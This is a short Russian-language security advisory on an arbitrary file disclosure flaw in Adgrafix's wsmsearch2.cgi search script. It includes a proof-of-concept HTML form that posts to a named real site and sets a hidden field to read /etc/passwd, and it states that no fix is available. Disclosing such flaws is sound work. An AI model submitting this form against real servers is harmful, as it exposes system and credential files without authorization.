Просмотр произвольных файлов в в wsmsearch2.cgi от Adgrafix

Описание: Уязвимость обнаружена в wsmsearch2.cgi от Adgrafix. Удаленный пользователь может просмотреть произвольные файлы на уязвимой системе.

Данный скрипт для выполнения поиска по сайту берет информацию из скрытых полей html-кода. Вот фрагмент кода:

---
<form method=POST action="/cgi-bin/wsmsearch2.cgi">
<B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Search Site:</FONT></FONT><br></B>
<input type=text name="terms" size=20> <input type=hidden name=boolean value="AND">
 <input type=hidden name=case value="Insensitive"> <input type=hidden
 name=quicksearch value="NO"> <input type=hidden name=max value="50"> 
<input type=hidden name=faqfile value="/"> <input type=hidden name=resultspage
 value="="/opt2/sdrforum/httpd/htdocs/results.html">
<input type=submit value="Search!">
---

(<input type=hidden name=resultspage value="absolute path to HTML include file">).

---
<form method=POST action="http://www.sdrforum.org/cgi-bin/wsmsearch2.cgi">
<B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Search Site:</FONT></FONT><br></B> 
<input type=text name="terms" size=20> <input type=hidden name=boolean value="AND"> 
<input type=hidden name=case value="Insensitive"> <input type=hidden 
name=quicksearch value="NO"> <input type=hidden name=max value="50"> <input 
type=hidden name=faqfile value="/"> <input type=hidden name=resultspage 
value="/etc/passwd"> 
<input type=submit value="Search!">
---

URL производителя: http://www.adgrafix.com

Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.